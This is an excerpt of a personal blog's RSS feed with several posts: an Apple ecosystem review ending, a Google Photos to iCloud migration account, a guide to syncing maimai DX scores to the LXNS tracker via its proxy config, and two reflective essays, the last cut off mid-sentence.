&lt;p&gt;Speaking of health data, I&apos;ve encountered a rather annoying bug. I can send someone a request to share their health data, and they can receive and accept it just fine. However, when they send a request to me, I don&apos;t receive any notification at all.&lt;/p&gt;
&lt;p&gt;I contacted Apple Support, and they told me it&apos;s a known bug that&apos;s waiting to be fixed.&lt;/p&gt;
&lt;p&gt;For now, I&apos;ll give the overall experience a &lt;strong&gt;9.5/10&lt;/strong&gt;. Once that bug is fixed, it&apos;ll be pretty much perfect.&lt;/p&gt;
&lt;p&gt;Honestly, iCloud has become so good that I&apos;ve lost most of my reasons to run a NAS or maintain my own cloud storage.&lt;/p&gt;
&lt;p&gt;Well, the only real argument left might be privacy. But I don&apos;t store my data in Apple&apos;s China-based iCloud service, and I&apos;ve also enabled end-to-end encryption.&lt;/p&gt;
&lt;h2&gt;Hardware Integration&lt;/h2&gt;
&lt;p&gt;Since I don&apos;t own an Apple Watch or AirPods, the only accessory I can really evaluate here is the Apple Pencil.&lt;/p&gt;
&lt;p&gt;It works perfectly fine with the iPad, but I think Apple could take things a step further.&lt;/p&gt;
&lt;p&gt;If I could use my iPad as a drawing tablet for my Mac, that would be absolutely incredible.&lt;/p&gt;
&lt;p&gt;Imagine being able to draw directly on your iPad while working in desktop creative applications on your Mac. That would make an already useful accessory even more versatile.&lt;/p&gt;
&lt;h2&gt;Things I Need to Rant About&lt;/h2&gt;
&lt;p&gt;There&apos;s one thing that drives me absolutely insane: Apple&apos;s smart notification system.&lt;/p&gt;
&lt;p&gt;Picture this.&lt;/p&gt;
&lt;p&gt;I&apos;m lying in bed at night, the lights are off, and I&apos;m looking at my phone. According to Apple&apos;s own logic, the system should recognize that I&apos;m actively using my iPhone and send notifications only to that device.&lt;/p&gt;
&lt;p&gt;Meanwhile, both my Mac and iPad are sitting there with their screens off.&lt;/p&gt;
&lt;p&gt;Then a message comes in.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;And somehow, every single device lights up at the same time.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What the hell, Apple?&lt;/p&gt;
&lt;p&gt;It&apos;s the middle of the night, and suddenly my entire room lights up like someone just detonated a flashbang right next to my bed. It&apos;s genuinely uncomfortable.&lt;/p&gt;
&lt;p&gt;I swear, at this point, should I just change my notification sound to the sound of a flashbang being thrown?&lt;/p&gt;
&lt;p&gt;And you know what else Apple should do? &lt;strong&gt;Sync alarms across all devices.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Imagine setting an alarm on your iPhone and having every device in your ecosystem participate.&lt;/p&gt;
&lt;p&gt;Every morning, your iPhone, iPad, and Mac all light up and start ringing simultaneously, while your iPhone flashes its LED a few times for good measure.&lt;/p&gt;
&lt;p&gt;Congratulations. You&apos;ve just turned your bedroom into a live concert venue.&lt;/p&gt;
&lt;p&gt;Jokes aside, I honestly can&apos;t think of many other things that genuinely annoy me about the Apple ecosystem.&lt;/p&gt;
&lt;p&gt;I&apos;ve spent all this time thinking about what to complain about, and this is pretty much the only thing that deserves a proper rant. Everything else has been surprisingly good.&lt;/p&gt;
&lt;p&gt;And perhaps that&apos;s what&apos;s really frightening about Apple.&lt;/p&gt;
</content:encoded><category>Apple</category><category>软件</category><author>Chongxi</author></item><item><title>My Experience Migrating from Google Photos to iCloud Photos</title><link>https://xice.cx/en/posts/googlePhoto2iCloud/</link><guid isPermaLink="true">https://xice.cx/en/posts/googlePhoto2iCloud/</guid><description>My experience moving from Google Photos to iCloud Photos</description><pubDate>Wed, 26 Aug 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;My old Android phone broke, and Google Photos wasn&apos;t exactly a great experience on iOS. Back when I was using Android, I used to patch the app to make it think I was using a Pixel XL, which let me store photos on Google Photos for free without using up any of my storage quota.&lt;/p&gt;
&lt;p&gt;The problem was that my photos genuinely didn&apos;t count toward my storage usage, so I had no way of knowing how much space they actually took up. That also meant I couldn&apos;t tell whether I had enough iCloud storage to accommodate my entire photo library.&lt;/p&gt;
&lt;p&gt;The solution was to use Google Takeout to request an archive of my photos via email. As it turns out, this also gives you the actual storage size of your photo library.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/IMG_0293.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As you can see, the total comes to 146.09 GB. That means the entry-level 50 GB iCloud+ plan definitely wouldn&apos;t be enough. I&apos;d have to go with the 200 GB plan.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Now for the actual migration.&lt;/p&gt;
&lt;p&gt;Google and Apple offer a way to transfer photos directly between their platforms. You didn&apos;t seriously think I was going to download 150 GB of photos and then manually upload them all to iCloud, did you? That would be ridiculous.&lt;/p&gt;
&lt;p&gt;There&apos;s a bit of a misconception in online tutorials. They often tell you to go to Google Takeout and look for the option to transfer your photos to iCloud. The problem is that there&apos;s no transfer button on the actual Google Takeout interface. All you get is the option to download your data.&lt;/p&gt;
&lt;p&gt;So, guess what? The &lt;strong&gt;Transfer your data&lt;/strong&gt; option is actually hidden away in your Google Account dashboard. But when you click it, Google redirects you to a page within Google Takeout that&apos;s not accessible through its regular interface.&lt;/p&gt;
&lt;p&gt;Seriously, what were Google&apos;s engineers thinking?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot%202026-08-27%20at%209.45.16%20PM.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As you can see, there&apos;s no direct transfer option anywhere on this Takeout page. You have to go to your Google Account dashboard and find it there.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot%202026-08-27%20at%209.50.05%20PM.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot%202026-08-27%20at%209.51.10%20PM.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Only after navigating to this page can you actually initiate the transfer. And once you click the option, Google sends you right back to that same hidden page in Takeout.&lt;/p&gt;
&lt;p&gt;Why not just put the transfer option directly in Google Takeout in the first place?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot%202026-08-27%20at%209.55.40%20PM.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From there, simply select iCloud and authorize the transfer. Then comes the long wait.&lt;/p&gt;
&lt;p&gt;From what I observed, a few more photos would show up in iCloud every couple of minutes. Google finished exporting my photos around the second day, but iCloud took considerably longer to process everything.&lt;/p&gt;
&lt;p&gt;All in all, the entire migration took about three days.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/IMG_0294.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/IMG_BB2B6002D97D-1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;One particularly ridiculous thing I discovered was that iOS doesn&apos;t recognize Motion Photos taken with my old Samsung phone. They were all imported as static images, with the motion component lost in the process.&lt;/p&gt;
&lt;p&gt;I also deleted some old, unimportant screenshots along the way. In the end, my photo library went from around 140 GB to just 40 GB.&lt;/p&gt;
&lt;p&gt;Turns out people don&apos;t think about solving a problem until there&apos;s pressure — once unlimited space becomes space you have to manage, you naturally start cleaning up.&lt;/p&gt;
&lt;p&gt;Now I&apos;ve got over 100 GB of free space left in iCloud. It would be a shame to let all that space go to waste, so I&apos;ve decided to share an iCloud+ family plan with some friends instead.&lt;/p&gt;
</content:encoded><category>Apple</category><category>软件</category><author>Chongxi</author></item><item><title>Exploring the Meaning of &quot;Nothing Is True, Everything Is Permitted&quot;</title><link>https://xice.cx/en/posts/nothingIsTrue/</link><guid isPermaLink="true">https://xice.cx/en/posts/nothingIsTrue/</guid><pubDate>Sat, 22 Aug 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Today, I&apos;d like to talk about one of my favorite slogans: &lt;strong&gt;&quot;Nothing Is True, Everything Is Permitted.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The most common misinterpretation is to read it as a combination of nihilism and lawlessness: nothing is real, so you can do whatever you want. It sounds plausible, but there&apos;s a problem with that interpretation. If nothing is true, then the statement &quot;nothing is true&quot; must also be untrue. It refutes itself right out of the gate, which is why I don&apos;t think this interpretation holds up.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&quot;Nothing is true&quot; doesn&apos;t mean &quot;nothing exists&quot; or &quot;everything is false.&quot;&lt;/p&gt;
&lt;p&gt;A chair is not &quot;true&quot; in the sense that it possesses some eternal, unchanging essence of chairness. It&apos;s made of wood, it will eventually decay, it might have a different name in another culture, and in a different context, it could simply become firewood. What we consider its &quot;essence&quot; depends on the framework through which we perceive it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;Nothing Is True&quot; means that nothing has a fixed, unchanging essence.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This interpretation doesn&apos;t contradict itself. The statement that nothing has a fixed essence is itself a proposition that can conform to the very principle it describes.&lt;/p&gt;
&lt;p&gt;&quot;Fire is hot&quot; is an objective fact, a truth. But its validity depends on whether our current conceptual framework can correctly handle the concepts of &quot;fire&quot; and &quot;heat.&quot; Whether other possibilities exist beyond that framework is something we simply don&apos;t know. Our understanding of a thing depends on how it presents itself to us. If things have no fixed essence, then the truths we construct upon them have no immutable foundation either.&lt;/p&gt;
&lt;p&gt;The Cthulhu Mythos offers one of the clearest illustrations of this idea. Lovecraft&apos;s horror doesn&apos;t come from monsters being ugly or grotesque. It comes from the fact that these entities exist entirely outside the boundaries of human cognition. Our brains simply lack the tools to process them. People go mad not merely because they&apos;ve witnessed something terrifying, but because the very framework through which they understand reality begins to collapse.&lt;/p&gt;
&lt;p&gt;Essence isn&apos;t something that exists inherently within an object. It&apos;s something we project onto it through our conceptual framework. Change the framework, and the essence changes with it.&lt;/p&gt;
&lt;p&gt;So the translation &quot;Nothing Is True&quot; isn&apos;t necessarily wrong. The problem is that modern readers tend to associate the word &quot;true&quot; with falsehood and nonexistence, narrowing its meaning too much. The wording itself is precise enough; it&apos;s the assumptions we bring to it that distort its meaning.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&quot;Everything Is Permitted&quot; literally means that everything is allowed. But the word &quot;permitted&quot; already presupposes a framework: if something can be permitted or forbidden, there must be something that governs that distinction. Without rules, the concept of permission becomes meaningless. It&apos;s like talking about walking through a wall when there is no wall to begin with.&lt;/p&gt;
&lt;p&gt;So &quot;Everything Is Permitted&quot; cannot possibly mean that there are absolutely no constraints. Quite the opposite: it implicitly assumes the existence of a framework within which things can be allowed or forbidden.&lt;/p&gt;
&lt;p&gt;But what is that framework?&lt;/p&gt;
&lt;p&gt;I don&apos;t think it&apos;s external. It&apos;s not the law, God, or the judgment of other people. All these external frameworks can be circumvented, overthrown, or ignored. The only framework that can truly permit you to do anything, in the sense I&apos;m talking about, must be internal:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Your own moral framework. Your own character.&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Taking this a step further, I believe that &lt;strong&gt;the more you want to do whatever you please, the less you can afford to act on every whim.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Someone who genuinely wants to be free to do whatever they choose must first possess an exceptionally strong degree of self-mastery. Otherwise, they&apos;re merely being pushed around by impulses, desires, and other people. That&apos;s not doing whatever you want. That&apos;s letting your desires do whatever they want with you.&lt;/p&gt;
&lt;p&gt;True freedom isn&apos;t about letting yourself run wild. It&apos;s about becoming internally strong enough that you no longer need external rules to keep yourself in check, because &lt;strong&gt;you have become your own rule.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So &quot;Everything Is Permitted&quot; doesn&apos;t mean there are no constraints. It means those constraints have been completely internalized. Everything you do is &quot;permitted,&quot; not because there are no rules, but because you are the one who establishes them.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Using this phrase as an excuse to do whatever you want is the most fundamental misreading of it. What it actually demands is the opposite: &lt;strong&gt;radical intellectual honesty with yourself.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Who built your framework of understanding? Did you arrive at it through your own reflection? Was it imposed on you by others? Or did you simply accept it because you never bothered to question it?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Nothing Is True:&lt;/strong&gt; Even your own beliefs have no fixed, unquestionable essence. They, too, must be examined.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Everything Is Permitted:&lt;/strong&gt; No external authority can make your moral judgments for you. You must build your own framework, and then take responsibility for it.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Historically, this phrase has been attributed to Hassan-i Sabbah, the founder of the Assassin order in 11th-century Persia. He was a deeply devout and ascetic religious figure. Yet he almost certainly never uttered these words, because he believed in the existence of absolute truth.&lt;/p&gt;
&lt;p&gt;The phrase first appeared in Nietzsche&apos;s writings. It was later developed into a maxim in the 1938 Slovenian novel &lt;em&gt;Alamut&lt;/em&gt;, before entering popular culture through &lt;em&gt;Assassin&apos;s Creed&lt;/em&gt;. As it spread, its original meaning was gradually diluted.&lt;/p&gt;
&lt;p&gt;One detail worth noting is that when a character utters this phrase in Nietzsche&apos;s work, the reaction isn&apos;t one of exhilaration or liberation, but of shock and trembling. The version in &lt;em&gt;Alamut&lt;/em&gt; also contains an additional word that often disappears from later, more popular translations: &quot;Nothing is &lt;strong&gt;absolutely&lt;/strong&gt; true, everything is permitted.&quot;&lt;/p&gt;
&lt;p&gt;The difference is just one word, but the meaning changes considerably.&lt;/p&gt;
&lt;p&gt;From the very beginning, this phrase was never meant to be a manifesto for unrestrained indulgence. It was later popularization that turned it into what sounds like a cool, nihilistic slogan.&lt;/p&gt;
</content:encoded><category>社会评论</category><author>Chongxi</author></item><item><title>A Guide to the maimai DX LXNS Score Tracker</title><link>https://xice.cx/en/posts/maiLxnsSync/</link><guid isPermaLink="true">https://xice.cx/en/posts/maiLxnsSync/</guid><pubDate>Sun, 16 Aug 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;LXNS (落雪查分器) has recently added quite a few useful features, and some bots have announced that they will be using LXNS as their primary data source going forward. So, in this guide, I&apos;ll walk you through the entire process, from importing your scores into LXNS to using its various features.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot%202026-08-17%20at%207.37.56%20PM.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Registration&lt;/h2&gt;
&lt;p&gt;The official LXNS website is &lt;a href=&quot;https://maimai.lxns.net/&quot;&gt;maimai DX Score Tracker&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Simply visit the website and create an account to get started.&lt;/p&gt;
&lt;h2&gt;Importing Your Scores&lt;/h2&gt;
&lt;h3&gt;Uploading Through the LXNS Proxy&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Log in to the &lt;a href=&quot;https://maimai.lxns.net/&quot;&gt;LXNS website&lt;/a&gt;, open the menu in the top-left corner, and select &lt;code&gt;同步游戏数据&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can manually configure an HTTP proxy in your device&apos;s WLAN settings, although this isn&apos;t recommended unless necessary. In this guide, I&apos;ll focus on setting things up through a proxy client instead.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Android&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Install Clash Meta for Android from the &lt;a href=&quot;https://github.com/MetaCubeX/ClashMetaForAndroid/releases&quot;&gt;GitHub releases page&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Copy the following URL:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;https://maimai.lxns.net/api/v0/proxy-config/clash&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open Clash Meta and tap &lt;strong&gt;配置文件&lt;/strong&gt; to add the proxy configuration, as shown below.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./asset/19.webp&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/20.webp&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/21.webp&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/22.webp&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/23.webp&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/24.webp&quot; alt=&quot;cmfa&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;iOS / iPadOS&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Install Shadowrocket or another compatible proxy client.&lt;/li&gt;
&lt;li&gt;Tap &lt;code&gt;配置&lt;/code&gt; in the bottom navigation bar, then tap the plus button in the top-right corner and paste the URL.&lt;/li&gt;
&lt;li&gt;Start the proxy, and you&apos;re good to go.&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;Once the website confirms that the proxy has been configured successfully, copy the sync link. Open WeChat, find &lt;em&gt;File Transfer&lt;/em&gt; or another trusted conversation, send the link, and tap it to complete the synchronization.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./asset/25.webp&quot; alt=&quot;sync&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/26.webp&quot; alt=&quot;sync&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/27.webp&quot; alt=&quot;sync&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Third-Party Solutions&lt;/h3&gt;
&lt;h4&gt;Syncing Through union&lt;/h4&gt;
&lt;p&gt;If you&apos;ve previously synced Shuiyu (水鱼) through &lt;a href=&quot;https://union.godserver.cn/&quot;&gt;union&lt;/a&gt;, you can use union&apos;s LXNS upload to transfer those scores to LXNS.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot_20260817_195603_Firefox.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;bakapiano&lt;/h4&gt;
&lt;p&gt;See the &lt;a href=&quot;/en/posts/bakapiano/&quot;&gt;bakapiano Score Tracker Guide&lt;/a&gt; for instructions.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;I won&apos;t go into the rest.&lt;/p&gt;
&lt;h2&gt;Using LXNS&lt;/h2&gt;
&lt;h3&gt;Checking Scores&lt;/h3&gt;
&lt;p&gt;LXNS provides built-in score management and lookup features. You can click on an individual song to view its score progression chart, and you can also check chart confirmations directly on the website.&lt;/p&gt;
&lt;p&gt;It&apos;s very convenient.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot%202026-08-17%20at%208.05.46%20PM.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot%202026-08-17%20at%208.05.56%20PM%201.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Using Bots&lt;/h3&gt;
&lt;p&gt;On QQ, you can use LXNS&apos;s own bot, &lt;a href=&quot;https://q.qq.com/qqbot/profile/?robot_appid=102072150&amp;amp;robot_uin=2854207029&quot;&gt;@lxbot&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Many other bots that use Youzi&apos;s maimai plugin also support querying your B50 using LXNS as the data source, as shown below.&lt;/p&gt;
&lt;p&gt;Keep in mind that not every bot will have the same interface or commands, so check with the bot you&apos;re using for instructions on linking your LXNS account.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Image_27495424697946.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/Screenshot_20260817_201020_Firefox.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After that, you can usually switch to LXNS by entering:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;数据源 1&lt;/code&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><category>游戏</category><author>Chongxi</author></item><item><title>The Modern-Day Version of Carving a Mark on a Moving Boat</title><link>https://xice.cx/en/posts/thinking260811/</link><guid isPermaLink="true">https://xice.cx/en/posts/thinking260811/</guid><pubDate>Mon, 10 Aug 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Modern people laugh at the ancient story of the man who carved a mark into his boat to find his lost sword, forgetting that people are still doing the exact same thing every single day.&lt;/p&gt;
&lt;p&gt;The man in the ancient story did it because he lacked better tools for understanding the world. Modern people do it because there&apos;s too much information and everything moves too fast, so they consciously choose not to pay the cost of thinking things through again.&lt;/p&gt;
&lt;p&gt;The difference is that the ancient man was ignorant. Modern people choose to remain ignorant.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The problem with carving a mark on a moving boat isn&apos;t stupidity. It&apos;s trying to use a static reference point to locate something in a constantly changing reality.&lt;/p&gt;
&lt;p&gt;Path dependence is another manifestation of the same problem, just from a different angle. In the original story, you&apos;re following someone else&apos;s old mark to find the sword: someone else took this path and succeeded, so I&apos;ll take it too. The older brother made money in a particular field, so the younger brother is pushed into studying the same thing. With path dependence, you&apos;re trapped by marks you&apos;ve carved yourself, unwilling to let go because you&apos;ve already invested hundreds of thousands into something.&lt;/p&gt;
&lt;p&gt;At their core, both are about &lt;strong&gt;using information from the past to make decisions in the present while ignoring time as a variable.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What gets replicated is always the surface of a successful outcome, never the conditions that produced it.&lt;/p&gt;
&lt;p&gt;You can find plenty of classic examples just by looking at China&apos;s major game studios: Genshin Impact clones, Chinese-style extraction shooters, asymmetrical competitive games, and so on. I&apos;ll leave the details aside for now.&lt;/p&gt;
&lt;p&gt;Path dependence isn&apos;t limited to the gaming industry. It&apos;s practically everywhere. Game studios copy Chinese-style extraction shooters, restaurants copy Haidilao, and so on.&lt;/p&gt;
&lt;p&gt;The more transparent information becomes, the more visible success stories are, and the worse survivorship bias gets. You can see the revenue figures of a particular game, but you can&apos;t see all the similar games that failed around the same time. The stronger the temptation to imitate, the harder it becomes to identify the actual conditions behind success.&lt;/p&gt;
&lt;p&gt;When things fail, how do people explain it? Poor execution? Bad management?&lt;/p&gt;
&lt;p&gt;Almost nobody asks whether the boat has moved.&lt;/p&gt;
&lt;p&gt;Because admitting that the boat has moved means admitting that the original decision to carve the mark was wrong. That&apos;s a price too many people aren&apos;t willing to pay.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The cost of leaving a familiar path has never been purely financial.&lt;/p&gt;
&lt;p&gt;Imagine someone who has spent thirty years working in a particular industry. Asking them to consider the possibility that they&apos;ve been heading in the wrong direction isn&apos;t just questioning their judgment. It&apos;s questioning the meaning of their entire existence.&lt;/p&gt;
&lt;p&gt;Thirty years is no longer just experience. It&apos;s their entire sense of identity.&lt;/p&gt;
&lt;p&gt;That&apos;s why their response isn&apos;t necessarily an attempt to reason with you. It&apos;s an act of self-preservation.&lt;/p&gt;
&lt;p&gt;Someone who has poured four or five hundred thousand into a project and refuses to walk away isn&apos;t simply reluctant to lose that money. They&apos;re reluctant to abandon the grand claims they made at the beginning, the promises they made to others, the story they&apos;ve told themselves about their own lives, and, finally, the gambler&apos;s instinct that keeps them doubling down just to prove they were right.&lt;/p&gt;
&lt;p&gt;At the end of the day, people are fighting against themselves.&lt;/p&gt;
&lt;p&gt;People are afraid to admit that something they did was wrong, because that means admitting that the version of themselves who made that decision was wrong, too.&lt;/p&gt;
&lt;p&gt;A decision can be changed. But your identity is what you believe yourself to be. Questioning that identity means questioning the person responsible for every decision you&apos;ve ever made.&lt;/p&gt;
&lt;p&gt;If that person was wrong, who can you trust to make the next decision?&lt;/p&gt;
&lt;p&gt;So most people choose to protect the last thing they have left: their self-respect.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The human brain has a mechanism for constructing a coherent story that makes everything fit.&lt;/p&gt;
&lt;p&gt;This mechanism isn&apos;t inherently good or bad. It can&apos;t simply be judged in those terms. Throughout human history, it has saved countless lives. It gives people something to hold on to when they&apos;re at their most vulnerable, and helps them find a new foothold when their entire worldview collapses.&lt;/p&gt;
&lt;p&gt;Someone goes through a breakup, cries for a while, and eventually says, &quot;They weren&apos;t worth it anyway.&quot;&lt;/p&gt;
&lt;p&gt;At that moment, the tears aren&apos;t really about the other person anymore. The statement is protecting a different narrative: &quot;I&apos;m a rational person.&quot;&lt;/p&gt;
&lt;p&gt;They&apos;re trying to convince themselves that they weren&apos;t as vulnerable as they actually were. The very fact that they need to tell themselves they&apos;re not upset is why they need that sentence to hold them together.&lt;/p&gt;
&lt;p&gt;But this mechanism can also be exploited.&lt;/p&gt;
&lt;p&gt;A personal narrative is how you deceive yourself. A grand narrative is how someone else deceives you. The mechanism is exactly the same; only the scale is different.&lt;/p&gt;
&lt;p&gt;Cults target people whose personal narratives have just collapsed, people who have recently experienced upheaval or lost their sense of meaning. They offer a new narrative that&apos;s coherent, complete, and full of belonging, filling the void left behind.&lt;/p&gt;
&lt;p&gt;You can&apos;t simply dismiss the people who join as stupid. They encountered something that filled the void at precisely the moment they were most vulnerable. That&apos;s how the underlying human mechanism works.&lt;/p&gt;
&lt;p&gt;The most sophisticated narratives go one step further: they define questioning the narrative itself as a sin.&lt;/p&gt;
&lt;p&gt;If you don&apos;t believe, it&apos;s because your faith isn&apos;t strong enough. If you have doubts, it&apos;s because outside enemies are corrupting you.&lt;/p&gt;
&lt;p&gt;Web3 does this, too. So does the self-help industry built around success.&lt;/p&gt;
&lt;p&gt;Anything that claims to be the one and only truth is essentially doing the same thing: &lt;strong&gt;trading certainty for your right to think for yourself.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The fundamental difference between science and these systems is that scientists offer the best explanations available within the current framework, not absolute truths about the universe. They&apos;re always prepared to replace those explanations with better ones.&lt;/p&gt;
&lt;p&gt;That&apos;s precisely why science can make progress.&lt;/p&gt;
&lt;p&gt;Something that&apos;s genuinely objective doesn&apos;t need to proclaim itself the truth. Nobody needs to become a believer for 1 + 1 to equal 2.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Here&apos;s something I once said:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The most painful moment isn&apos;t &quot;I don&apos;t know.&quot; It&apos;s &quot;I&apos;ve always believed I knew, and now you&apos;re telling me I don&apos;t.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&quot;I don&apos;t know&quot; is an empty space. You can fill it with something new.&lt;/p&gt;
&lt;p&gt;&quot;I&apos;ve always believed I knew&quot; is already full. It&apos;s filled with pride, past judgments, and a fragile narrative about who you are.&lt;/p&gt;
&lt;p&gt;To accept something new, you first have to empty out the old. That process is the real cost.&lt;/p&gt;
&lt;p&gt;Every pursuit of truth comes at the price of admitting that, at some point, you were a fucking idiot.&lt;/p&gt;
&lt;p&gt;Put the truth in front of someone, and accepting it means letting their personal narrative fall apart. They have to learn to stand again without the old beliefs that once held them up.&lt;/p&gt;
&lt;p&gt;Most people will instinctively protect themselves instead, refusing to accept what you&apos;re telling them.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;There&apos;s another thing people often get backwards: the relationship between letting go and figuring things out.&lt;/p&gt;
&lt;p&gt;It&apos;s not that you figure everything out and then let go. More often, you have to let go before you can figure things out.&lt;/p&gt;
&lt;p&gt;Reasoning can&apos;t get through because the door is locked by emotion.&lt;/p&gt;
&lt;p&gt;People who manage to reach a point of genuine acceptance have often allowed their personal narrative to fall apart at some point. Then they discover that they&apos;re still here after everything has collapsed, and that maybe it&apos;s not such a big deal after all.&lt;/p&gt;
&lt;p&gt;Think about school. Most of us went through it as children.&lt;/p&gt;
&lt;p&gt;When I was in elementary school, being one minute late in the morning felt like the end of the world. Later, I realized that being late wasn&apos;t actually going to change much.&lt;/p&gt;
&lt;p&gt;My narrative had cracked. I let go, and then I understood.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;So, Where Do We Go From Here?&lt;/h2&gt;
&lt;p&gt;If you follow this line of thought far enough, you eventually run into a dead end.&lt;/p&gt;
&lt;p&gt;&quot;I&apos;ve seen through everything&quot; is a narrative.&lt;/p&gt;
&lt;p&gt;&quot;I know that my belief that I&apos;ve seen through everything is itself a narrative&quot; is also a narrative.&lt;/p&gt;
&lt;p&gt;You can use narratives to explain away just about anything. There&apos;s no hard limit, no numerical value to optimize. It&apos;s just a mechanism that keeps generating explanations.&lt;/p&gt;
&lt;p&gt;So genuine transcendence doesn&apos;t really exist. All you can do is adopt a certain stance: recognize the narrative at work, acknowledge that you&apos;re caught up in it, too, and leave a small opening for doubt.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Only by refusing to cling to answers can you keep moving closer to the truth.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The brain&apos;s self-protection mechanisms and narrative-generating machinery are part of its underlying code. You can&apos;t simply rewrite them. Human society has evolved far too quickly for the brain to keep up.&lt;/p&gt;
&lt;p&gt;But the user layer can still be modified. Algorithms can be optimized. Patches can be applied.&lt;/p&gt;
&lt;p&gt;Once you know the narrative-generation mechanism is running, you can add a monitoring process on top of it.&lt;/p&gt;
&lt;p&gt;Once you know your self-protection mechanisms will kick in, you can make yourself wait one extra second when they do.&lt;/p&gt;
&lt;p&gt;Once you know path dependence can trap you, you can run a quick check before making a decision:&lt;/p&gt;
